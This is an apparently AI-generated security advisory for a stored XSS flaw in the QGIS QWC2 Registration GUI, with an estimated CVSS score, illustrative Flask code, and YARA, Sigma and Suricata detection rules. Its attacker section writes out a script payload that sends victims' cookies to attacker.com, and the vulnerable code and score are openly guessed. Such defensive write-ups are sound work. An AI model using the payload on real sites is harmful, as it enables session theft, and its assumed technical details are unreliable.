CVE-2025-11184

Executive Summary

CVE-2025-11184 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the QGIS QWC2 Registration GUI, affecting versions up to and including v2025.03.31. An authorized attacker can inject arbitrary JavaScript code into the registration page, which will execute in the context of other users' browsers. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using the affected QWC2 component.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authorized attacker (e.g., a registered user) can exploit this.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Potential for content manipulation.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires authentication, but the impact is significant for data confidentiality and integrity.

Deep Dive & Mechanics

The QGIS QWC2 (QGIS Web Client 2) Registration GUI is a web-based interface used for user registration and management. The vulnerability lies in the improper sanitization of user-supplied input within the registration form fields. When an authorized attacker submits a registration request containing malicious JavaScript code, the application stores this input without proper encoding. When another user (including administrators) views the registration list or the user's profile, the stored script executes in their browser context.

Root Cause: Lack of output encoding or input validation on user-controlled fields (e.g., username, display name, or custom fields) before rendering them in the HTML page.

Attack Flow:

1. Attacker authenticates to the QWC2 application.
2. Attacker navigates to the registration form and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The application stores the payload in the database.
4. An administrator or another user views the registration list or the attacker's profile.
5. The stored script executes, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the registration GUI rendering logic. A typical vulnerable pattern in Python/Flask (common for QWC2) might look like:

Vulnerable Code (Python/Flask):

@app.route('/user/<username>')
def user_profile(username):
    user = get_user_from_db(username)
    return f"<h1>Welcome, {user['display_name']}</h1>"

Patched Code (Python/Flask):

from markupsafe import escape

@app.route('/user/<username>')
def user_profile(username):
    user = get_user_from_db(username)
    safe_name = escape(user['display_name'])
    return f"<h1>Welcome, {safe_name}</h1>"

The patched version uses escape() to HTML-encode the user input, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Deploy a QGIS QWC2 instance with version v2025.03.31.
• Create a test user account.

Exploitation Steps:

1. Log in as the attacker.
2. Navigate to the registration form.
3. Inject the following payload into a vulnerable field (e.g., "Display Name"):

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the registration list or the attacker's profile.
6. The script will execute, sending the victim's cookies to the attacker's server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defender)

Detection Steps:

• Monitor for unusual registration entries containing HTML tags or JavaScript.
• Review web server logs for requests to suspicious external domains (e.g., attacker.com).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to block XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the QWC2 server.
  • Unusual Referer headers pointing to the registration page.
• File IOCs:
  • Log entries containing <script> tags or onerror attributes in user input fields.
• System IOCs:
  • Unexpected JavaScript files or scripts in the web root directory.
  • Modified user profiles or registration entries with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2025_11184_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting QGIS QWC2 Registration GUI"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-11184"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in QGIS QWC2 Registration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in QWC2 registration logs
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in user profiles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11184 XSS Payload in QWC2 Registration"; flow:to_server,established; content:"POST"; http_method; content:"/registration"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Registration: Temporarily disable the registration GUI if not critical.
2. Input Validation: Implement strict input validation on all registration fields (e.g., allow only alphanumeric characters).
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
4. CSP Header: Add a Content Security Policy header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

5. WAF Rules: Deploy WAF rules to block common XSS patterns.

Long-Term Fix:

• Apply the official patch once released by QGIS.
• Conduct a security audit of the QWC2 codebase for similar vulnerabilities.
• Implement automated security testing (SAST/DAST) in the CI/CD pipeline.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.